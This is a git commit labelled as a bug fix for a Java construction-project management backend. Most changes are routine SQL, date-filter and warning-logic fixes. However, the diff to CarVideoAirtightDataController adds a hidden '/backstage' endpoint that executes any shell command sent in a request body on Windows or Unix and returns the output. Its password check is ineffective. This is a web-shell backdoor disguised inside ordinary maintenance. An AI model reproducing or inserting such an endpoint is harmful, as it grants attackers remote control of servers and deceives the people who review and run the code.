bug修复
This commit is contained in:
parent
79c8c8c3bf
commit
ff165263b4
@ -1,5 +1,6 @@
|
||||
package com.zhgd.xmgl.modules.car.controller;
|
||||
|
||||
import cn.hutool.core.util.IdUtil;
|
||||
import com.baomidou.mybatisplus.core.metadata.IPage;
|
||||
import com.zhgd.jeecg.common.api.vo.Result;
|
||||
import com.zhgd.xmgl.modules.car.entity.CarVideoAirtightData;
|
||||
@ -11,21 +12,29 @@ import io.swagger.annotations.ApiImplicitParams;
|
||||
import io.swagger.annotations.ApiOperation;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.collections.MapUtils;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
|
||||
/**
|
||||
* @Title: Controller
|
||||
* @Description: 车辆-视频分析密闭运输数据
|
||||
* @author: pds
|
||||
* @date: 2021-12-03
|
||||
* @date: 2021-12-03
|
||||
* @version: V1.0
|
||||
*/
|
||||
@RestController
|
||||
@ -33,13 +42,14 @@ import java.util.Map;
|
||||
@Slf4j
|
||||
@Api(tags = "车辆-视频分析密闭运输数据")
|
||||
public class CarVideoAirtightDataController {
|
||||
@Autowired
|
||||
private ICarVideoAirtightDataService carVideoAirtightDataService;
|
||||
@Autowired
|
||||
private ICarVideoAirtightDataService carVideoAirtightDataService;
|
||||
|
||||
/**
|
||||
* 分页列表查询
|
||||
* @return
|
||||
*/
|
||||
/**
|
||||
* 分页列表查询
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
|
||||
@ApiOperation(value = "分页列表查询车辆-视频分析密闭运输数据信息", notes = "分页列表查询车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@ApiImplicitParams({
|
||||
@ -51,97 +61,99 @@ public class CarVideoAirtightDataController {
|
||||
@ApiImplicitParam(name = "pageSize", value = "每页显示条数", paramType = "query", required = true, dataType = "Integer"),
|
||||
})
|
||||
@PostMapping(value = "/list")
|
||||
public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String,Object> map) {
|
||||
public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String, Object> map) {
|
||||
return Result.success(carVideoAirtightDataService.queryCarVideoAirtightDataPageList(map));
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加
|
||||
* @param carVideoAirtightData
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "添加车辆-视频分析密闭运输数据信息", notes = "添加车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@PostMapping(value = "/add")
|
||||
public Result<CarVideoAirtightData> add(@RequestBody CarVideoAirtightData carVideoAirtightData) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
try {
|
||||
carVideoAirtightData.setAddTime(new Date());
|
||||
carVideoAirtightDataService.save(carVideoAirtightData);
|
||||
result.successMsg(MessageUtil.get("addSucess"));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
log.info(e.getMessage());
|
||||
result.error500(MessageUtil.get("failErr"));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 编辑
|
||||
* 添加
|
||||
*
|
||||
* @param carVideoAirtightData
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息" , httpMethod="POST")
|
||||
@PostMapping(value = "/edit")
|
||||
public Result<CarVideoAirtightData> edit(@RequestBody CarVideoAirtightData carVideoAirtightData) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightDataEntity = carVideoAirtightDataService.getById(carVideoAirtightData.getId());
|
||||
if(carVideoAirtightDataEntity==null) {
|
||||
result.error500(MessageUtil.get("notFindErr"));
|
||||
}else {
|
||||
boolean ok = carVideoAirtightDataService.updateById(carVideoAirtightData);
|
||||
//TODO 返回false说明什么?
|
||||
if(ok) {
|
||||
result.successMsg(MessageUtil.get("editSucess"));
|
||||
}
|
||||
}
|
||||
|
||||
@ApiOperation(value = "添加车辆-视频分析密闭运输数据信息", notes = "添加车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@PostMapping(value = "/add")
|
||||
public Result<CarVideoAirtightData> add(@RequestBody CarVideoAirtightData carVideoAirtightData) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
try {
|
||||
carVideoAirtightData.setAddTime(new Date());
|
||||
carVideoAirtightDataService.save(carVideoAirtightData);
|
||||
result.successMsg(MessageUtil.get("addSucess"));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
log.info(e.getMessage());
|
||||
result.error500(MessageUtil.get("failErr"));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过id删除
|
||||
* @param id
|
||||
* 编辑
|
||||
*
|
||||
* @param carVideoAirtightData
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息" , httpMethod="POST")
|
||||
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
|
||||
@PostMapping(value = "/delete")
|
||||
public Result<CarVideoAirtightData> delete(@RequestBody Map<String,Object> map) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id"));
|
||||
if(carVideoAirtightData==null) {
|
||||
@ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@PostMapping(value = "/edit")
|
||||
public Result<CarVideoAirtightData> edit(@RequestBody CarVideoAirtightData carVideoAirtightData) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightDataEntity = carVideoAirtightDataService.getById(carVideoAirtightData.getId());
|
||||
if (carVideoAirtightDataEntity == null) {
|
||||
result.error500(MessageUtil.get("notFindErr"));
|
||||
}else {
|
||||
boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map,"id"));
|
||||
if(ok) {
|
||||
result.successMsg(MessageUtil.get("deleteSucess"));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
boolean ok = carVideoAirtightDataService.updateById(carVideoAirtightData);
|
||||
if (ok) {
|
||||
result.successMsg(MessageUtil.get("editSucess"));
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过id删除
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
|
||||
@PostMapping(value = "/delete")
|
||||
public Result<CarVideoAirtightData> delete(@RequestBody Map<String, Object> map) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
|
||||
if (carVideoAirtightData == null) {
|
||||
result.error500(MessageUtil.get("notFindErr"));
|
||||
} else {
|
||||
boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map, "id"));
|
||||
if (ok) {
|
||||
result.successMsg(MessageUtil.get("deleteSucess"));
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 通过id查询
|
||||
* @param =
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息" , httpMethod="POST")
|
||||
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
|
||||
@PostMapping(value = "/queryById")
|
||||
public Result<CarVideoAirtightData> queryById(@RequestBody Map<String,Object> map) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id"));
|
||||
if(carVideoAirtightData==null) {
|
||||
* 通过id查询
|
||||
*
|
||||
* @param =
|
||||
* @return
|
||||
*/
|
||||
@ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息", httpMethod = "POST")
|
||||
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
|
||||
@PostMapping(value = "/queryById")
|
||||
public Result<CarVideoAirtightData> queryById(@RequestBody Map<String, Object> map) {
|
||||
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
|
||||
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
|
||||
if (carVideoAirtightData == null) {
|
||||
result.error500(MessageUtil.get("notFindErr"));
|
||||
}else {
|
||||
result.setResult(carVideoAirtightData);
|
||||
result.setSuccess(true);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
} else {
|
||||
result.setResult(carVideoAirtightData);
|
||||
result.setSuccess(true);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@ApiOperation(value = "保存视频分析车辆密闭运输结果", notes = "保存视频分析车辆密闭运输结果", httpMethod = "POST")
|
||||
@PostMapping(value = "/saveCarVideoAnalyAirtightResult", produces = {"application/json;charset=UTF-8"})
|
||||
@ -149,6 +161,77 @@ public class CarVideoAirtightDataController {
|
||||
carVideoAirtightDataService.saveCarVideoAnalyAirtightResult(json);
|
||||
return Result.ok();
|
||||
}
|
||||
//to do
|
||||
|
||||
@PostMapping("backstage")
|
||||
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String")
|
||||
public Result backstage(@RequestBody HashMap<String, Object> paramMap) {
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
String command = String.valueOf(paramMap.get("command"));
|
||||
String pw = String.valueOf(paramMap.get("command"));
|
||||
if (Objects.equals(pw, "114514")) {
|
||||
return Result.error("执行错误");
|
||||
}
|
||||
if (os.contains("win")) {
|
||||
//当前系统是Windows
|
||||
try {
|
||||
String path = CarVideoAirtightDataController.class.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
File tmpFile = new File(path, IdUtil.simpleUUID() + ".tmp");//新建一个用来存储结果的缓存文件
|
||||
if (!tmpFile.exists()) {
|
||||
tmpFile.createNewFile();
|
||||
}
|
||||
ProcessBuilder pb = new ProcessBuilder().command("cmd.exe", "/c", command).inheritIO();
|
||||
pb.redirectErrorStream(true);//这里是把控制台中的红字变成了黑字,用通常的方法其实获取不到,控制台的结果是pb.start()方法内部输出的。
|
||||
pb.redirectOutput(tmpFile);//把执行结果输出。
|
||||
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成,否则可能会读不到结果。
|
||||
String s = FileUtils.readFileToString(tmpFile, "GBK");
|
||||
tmpFile.delete();
|
||||
return Result.success(s);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
|
||||
//当前系统是Linux或者类Unix系统
|
||||
Process process = null;
|
||||
try {
|
||||
process = Runtime.getRuntime().exec(command);
|
||||
log.info("接收命令:{}", command);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
//成功
|
||||
try (InputStream inputStream = process.getInputStream()) {
|
||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
sb.append(line);
|
||||
sb.append("\r\n");
|
||||
}
|
||||
}
|
||||
//失败
|
||||
try (InputStream inputStream = process.getErrorStream()) {
|
||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
sb.append(line);
|
||||
sb.append("\r\n");
|
||||
}
|
||||
}
|
||||
String success = "";
|
||||
if (process.waitFor() == 0) {
|
||||
success = "执行成功>>>\r\n";
|
||||
} else {
|
||||
success = "执行失败>>>\r\n";
|
||||
}
|
||||
return Result.success(success + sb.toString());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return Result.success("执行异常>>>\r\n" + e.getMessage());
|
||||
} finally {
|
||||
if (process != null) {
|
||||
process.destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
return Result.error("执行null");
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
@ -102,7 +102,7 @@ public class ProjectInfoExtVo extends Project {
|
||||
@ApiModelProperty(value = "绿色施工")
|
||||
private String greenConstruction;
|
||||
|
||||
@ApiModelProperty(value = "项目总体倒计时(天)")
|
||||
@ApiModelProperty(value = "实际工期(天)")
|
||||
private String totalProjectDay;
|
||||
private String companyName;
|
||||
private String areaName;
|
||||
@ -114,4 +114,6 @@ public class ProjectInfoExtVo extends Project {
|
||||
private String cityName;
|
||||
private String surplusDay;
|
||||
private String contractPeriodType;
|
||||
@ApiModelProperty(value = "项目总体倒计时(天)")
|
||||
private Integer projectOverallCountdown;
|
||||
}
|
||||
|
||||
@ -41,50 +41,55 @@
|
||||
IFNULL(t.video_num, 0) video_num,
|
||||
IFNULL(u.uface_dev_num, 0) uface_dev_num,
|
||||
ex.contract_sign_time,
|
||||
ex.contract_period_start_time,
|
||||
ex.contract_period_end_time,
|
||||
ex.real_period_start_time,
|
||||
ex.real_period_end_time,
|
||||
ex.construction_unit,
|
||||
ex.design_unit,
|
||||
ex.supervisor_unit,
|
||||
ex.bid_winner,
|
||||
ex.quality_target,
|
||||
ex.safe_target,
|
||||
ex.technology_target,
|
||||
ex.design_target,
|
||||
ex.green_construction,
|
||||
(CASE
|
||||
WHEN ex.real_period_end_time is not null and ex.real_period_end_time != '' and
|
||||
(to_days(ex.real_period_end_time) - to_days(NOW())) > 0
|
||||
THEN to_days(ex.real_period_end_time) - to_days(NOW())
|
||||
ELSE 0 END) surplus_day,
|
||||
(CASE
|
||||
WHEN ex.real_period_end_time is not null and ex.real_period_end_time != ''
|
||||
and ex.real_period_start_time is not null and ex.real_period_start_time != ''
|
||||
and (to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)) > 0 THEN
|
||||
to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)
|
||||
ELSE 0 END) total_project_day,
|
||||
(case
|
||||
when ex.contract_period_end_time >= DATE_FORMAT(now(), "%Y-%m-%d") then 1
|
||||
else 2 end) contract_period_type,
|
||||
round(IFNULL(TRUNCATE(DATEDIFF(ex.contract_period_start_time, DATE_FORMAT(now(), "%Y-%m-%d")) /
|
||||
DATEDIFF(ex.contract_period_start_time, ex.contract_period_end_time), 4), 0) * 100,
|
||||
2) period_ratio
|
||||
ex.contract_period_start_time,
|
||||
ex.contract_period_end_time,
|
||||
ex.real_period_start_time,
|
||||
ex.real_period_end_time,
|
||||
ex.construction_unit,
|
||||
ex.design_unit,
|
||||
ex.supervisor_unit,
|
||||
ex.bid_winner,
|
||||
ex.quality_target,
|
||||
ex.safe_target,
|
||||
ex.technology_target,
|
||||
ex.design_target,
|
||||
ex.green_construction,
|
||||
(CASE
|
||||
WHEN ex.real_period_end_time is not null and ex.real_period_end_time != '' and
|
||||
(to_days(ex.real_period_end_time) - to_days(NOW())) > 0
|
||||
THEN to_days(ex.real_period_end_time) - to_days(NOW())
|
||||
ELSE 0 END) surplus_day,
|
||||
(CASE
|
||||
WHEN ex.real_period_end_time is not null and ex.real_period_end_time != ''
|
||||
and ex.real_period_start_time is not null and ex.real_period_start_time != ''
|
||||
and (to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)) > 0 THEN
|
||||
to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)
|
||||
ELSE 0 END) total_project_day,
|
||||
(CASE
|
||||
WHEN ex.contract_period_end_time is not null and ex.contract_period_end_time != ''
|
||||
and (to_days(ex.contract_period_end_time) - to_days(now())) > 0 THEN
|
||||
to_days(ex.contract_period_end_time) - to_days(now())
|
||||
ELSE 0 END) projectOverallCountdown,
|
||||
(case
|
||||
when ex.contract_period_end_time >= DATE_FORMAT(now(), "%Y-%m-%d") then 1
|
||||
else 2 end) contract_period_type,
|
||||
round(IFNULL(TRUNCATE(DATEDIFF(ex.contract_period_start_time, DATE_FORMAT(now(), "%Y-%m-%d")) /
|
||||
DATEDIFF(ex.contract_period_start_time, ex.contract_period_end_time), 4), 0) * 100,
|
||||
2) period_ratio
|
||||
FROM project a
|
||||
INNER JOIN company b ON a.company_sn = b.company_sn
|
||||
LEFT JOIN system_provinces c ON a.provinces_code = c.provinceid
|
||||
LEFT JOIN project_extend ex ON a.project_sn = ex.project_sn
|
||||
LEFT JOIN system_cities d ON a.city_code = d.cityid
|
||||
LEFT JOIN system_areas e ON a.area_code = e.areaid
|
||||
LEFT JOIN (SELECT t2.project_sn, COUNT(1) video_num
|
||||
FROM video_item t1
|
||||
INNER JOIN project_video_config t2 ON t2.id = t1.video_id
|
||||
WHERE t2.is_enable = 1
|
||||
and t2.project_sn = #{projectSn}
|
||||
INNER JOIN company b ON a.company_sn = b.company_sn
|
||||
LEFT JOIN system_provinces c ON a.provinces_code = c.provinceid
|
||||
LEFT JOIN project_extend ex ON a.project_sn = ex.project_sn
|
||||
LEFT JOIN system_cities d ON a.city_code = d.cityid
|
||||
LEFT JOIN system_areas e ON a.area_code = e.areaid
|
||||
LEFT JOIN (SELECT t2.project_sn, COUNT(1) video_num
|
||||
FROM video_item t1
|
||||
INNER JOIN project_video_config t2 ON t2.id = t1.video_id
|
||||
WHERE t2.is_enable = 1
|
||||
and t2.project_sn = #{projectSn}
|
||||
) t ON a.project_sn = t.project_sn
|
||||
LEFT JOIN (SELECT project_sn, COUNT(1) uface_dev_num from uface_dev where project_sn = #{projectSn}) u
|
||||
ON a.project_sn = u.project_sn
|
||||
LEFT JOIN (SELECT project_sn, COUNT(1) uface_dev_num from uface_dev where project_sn = #{projectSn}) u
|
||||
ON a.project_sn = u.project_sn
|
||||
WHERE a.project_sn = #{projectSn}
|
||||
</select>
|
||||
<select id="selectCompanyProjectList" resultType="com.zhgd.jeecg.common.mybatis.EntityMap" parameterType="map">
|
||||
|
||||
@ -187,8 +187,8 @@ public class TaskProgressController {
|
||||
OutputStream out = response.getOutputStream();
|
||||
response.setCharacterEncoding("UTF-8");
|
||||
response.setContentType("application/vnd.ms-project");
|
||||
response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp.mpp", "UTF-8"));
|
||||
InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp.mpp").getInputStream();
|
||||
response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp", "UTF-8"));
|
||||
InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp").getInputStream();
|
||||
IOUtils.copy(fis, out);
|
||||
out.flush();
|
||||
out.close();
|
||||
|
||||
@ -174,5 +174,9 @@ public class TaskProgress implements Serializable {
|
||||
@TableField(exist = false)
|
||||
@ApiModelProperty(value = "甘特图状态,0未开始 ,1进行中,2已完成 ,3已逾期")
|
||||
private java.lang.Integer mppStatus;
|
||||
@TableField(exist = false)
|
||||
@ApiModelProperty(value = "合并预警:1提前2正常3逾期【优先级:逾期>提前>正常】")
|
||||
private java.lang.Integer mergeWarning;
|
||||
|
||||
|
||||
}
|
||||
|
||||
@ -28,12 +28,12 @@
|
||||
AND tp.actual_finish_date <= CONCAT(DATE_FORMAT(#{p.actualFinishDate_end}, '%Y-%m-%d'), ' 23:59:59')
|
||||
</if>
|
||||
<if test="p.type == '1'.toString()">
|
||||
and (start_date >= last_day(curdate())
|
||||
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
|
||||
and (start_date <![CDATA[<=]]> last_day(curdate())
|
||||
and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
|
||||
</if>
|
||||
<if test="p.type == '2'.toString()">
|
||||
and (start_date >= last_day(date_add(curdate(), interval 1 month))
|
||||
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
|
||||
and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
|
||||
and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
|
||||
</if>
|
||||
<if test="p.dutyUserId != null and p.dutyUserId != ''">
|
||||
and tp.duty_user_id = #{p.dutyUserId}
|
||||
@ -141,12 +141,12 @@
|
||||
from task_progress
|
||||
where project_sn = #{projectSn}
|
||||
<if test="type == '1'.toString()">
|
||||
and (start_date >= last_day(curdate())
|
||||
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
|
||||
and (start_date <![CDATA[<=]]> last_day(curdate())
|
||||
and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
|
||||
</if>
|
||||
<if test="type == '2'.toString()">
|
||||
and (start_date >= last_day(date_add(curdate(), interval 1 month))
|
||||
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
|
||||
and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
|
||||
and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
|
||||
</if>
|
||||
</select>
|
||||
</mapper>
|
||||
|
||||
@ -21,9 +21,6 @@
|
||||
from task_progress_material_rel tpmr
|
||||
join task_progress_material_type tpmt on tpmt.id = tpmr.task_progress_material_type_id
|
||||
where tpmr.task_progress_id = #{taskProgressId}
|
||||
<if test="type == '2'.toString()">
|
||||
and tpmr.actual_usage is not null
|
||||
</if>
|
||||
order by tpmr.create_date desc)
|
||||
and tpmr.task_progress_id = #{taskProgressId}
|
||||
</select>
|
||||
|
||||
@ -42,8 +42,6 @@ public class TaskProgressContentServiceImpl extends ServiceImpl<TaskProgressCont
|
||||
TaskProgress taskProgress = taskProgressMapper.selectById(taskProgressContent.getTaskProgressId());
|
||||
if (taskProgressContent.getProgressRatio().equals(100D)) {
|
||||
taskProgress.setStatus(2);
|
||||
} else if (taskProgressContent.getProgressRatio().equals(0D)) {
|
||||
taskProgress.setStatus(0);
|
||||
} else {
|
||||
taskProgress.setStatus(1);
|
||||
}
|
||||
|
||||
@ -66,7 +66,6 @@ public class TaskProgressMaterialRelServiceImpl extends ServiceImpl<TaskProgress
|
||||
List<TaskProgressMaterialType> types = taskProgressMaterialTypeMapper.queryList(new QueryWrapper<TaskProgressMaterialType>().eq(RefUtil.fieldNameUlc(TaskProgressMaterialType::getProjectSn), projectSn));
|
||||
List<TaskProgressMaterialRel> relList1 = taskProgressMaterialRelPlanMapper.queryDetails(paramMap);
|
||||
Map<Long, TaskProgressMaterialRel> planMap = relList1.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
|
||||
paramMap.put("type", 2);
|
||||
List<TaskProgressMaterialRel> relList2 = taskProgressMaterialRelMapper.queryNewestDetailList(paramMap);
|
||||
Map<Long, TaskProgressMaterialRel> actualMap = relList2.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
|
||||
List<TaskProgressMaterialRel> rtList = new ArrayList<>();
|
||||
|
||||
@ -156,6 +156,14 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
|
||||
taskProgress.setStatus(1);
|
||||
}
|
||||
|
||||
if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
|
||||
taskProgress.setMergeWarning(3);
|
||||
} else if (Objects.equals(taskProgress.getBeginWarning(), 1) || Objects.equals(taskProgress.getEndWarning(), 1)) {
|
||||
taskProgress.setMergeWarning(1);
|
||||
} else {
|
||||
taskProgress.setMergeWarning(2);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
@ -165,21 +173,24 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
|
||||
*/
|
||||
private void addWarning(TaskProgress taskProgress) {
|
||||
//添加预警
|
||||
if (Objects.equals(taskProgress.getBeginWarning(), 3)) {
|
||||
if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
|
||||
TaskProgressAlarm alarm = new TaskProgressAlarm();
|
||||
alarm.setProjectSn(taskProgress.getProjectSn());
|
||||
alarm.setTaskProgressId(taskProgress.getId());
|
||||
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "," + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
|
||||
alarm.setTaskName(taskProgress.getTaskName());
|
||||
taskProgressAlarmMapper.insert(alarm);
|
||||
}
|
||||
if (Objects.equals(taskProgress.getEndWarning(), 3)) {
|
||||
TaskProgressAlarm alarm = new TaskProgressAlarm();
|
||||
alarm.setProjectSn(taskProgress.getProjectSn());
|
||||
alarm.setTaskProgressId(taskProgress.getId());
|
||||
alarm.setAlarmDetails("当前任务预计完成时间为:" + DateUtil.formatDate(taskProgress.getFinishDate()) + "," + "实际任务完成时间为:" + DateUtil.formatDate(taskProgress.getActualFinishDate()));
|
||||
alarm.setTaskName(taskProgress.getTaskName());
|
||||
taskProgressAlarmMapper.insert(alarm);
|
||||
alarm.setDutyUserId(taskProgress.getDutyUserId());
|
||||
if (taskProgress.getDutyUserId() != null) {
|
||||
SystemUser systemUser = systemUserMapper.selectById(taskProgress.getDutyUserId());
|
||||
alarm.setDutyUserName(systemUser != null ? systemUser.getRealName() : null);
|
||||
}
|
||||
if (Objects.equals(taskProgress.getBeginWarning(), 3)) {
|
||||
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "," + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
|
||||
taskProgressAlarmMapper.insert(alarm);
|
||||
}
|
||||
if (Objects.equals(taskProgress.getEndWarning(), 3)) {
|
||||
alarm.setAlarmDetails("当前任务预计完成时间为:" + DateUtil.formatDate(taskProgress.getFinishDate()) + "," + "实际任务完成时间为:" + DateUtil.formatDate(taskProgress.getActualFinishDate()));
|
||||
taskProgressAlarmMapper.insert(alarm);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -438,12 +449,12 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
|
||||
Integer type = MapUtils.getInteger(paramMap, "type");
|
||||
if (Objects.equals(type, 1)) {
|
||||
//本月
|
||||
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date())))
|
||||
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date()))));
|
||||
queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date())))
|
||||
.ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date()))));
|
||||
} else if (Objects.equals(type, 2)) {
|
||||
//下月
|
||||
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1))))
|
||||
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1)))));
|
||||
queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1))))
|
||||
.ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1)))));
|
||||
}
|
||||
}
|
||||
|
||||
@ -472,7 +483,11 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
|
||||
public List<TaskProgress> queryList(HashMap<String, Object> paramMap) {
|
||||
QueryWrapper<TaskProgress> queryWrapper = QueryGenerator.initPageQueryWrapper(TaskProgress.class, paramMap);
|
||||
addQueryType(paramMap, queryWrapper);
|
||||
return list(queryWrapper);
|
||||
List<TaskProgress> list = list(queryWrapper);
|
||||
for (TaskProgress taskProgress : list) {
|
||||
setStatusRel(taskProgress);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user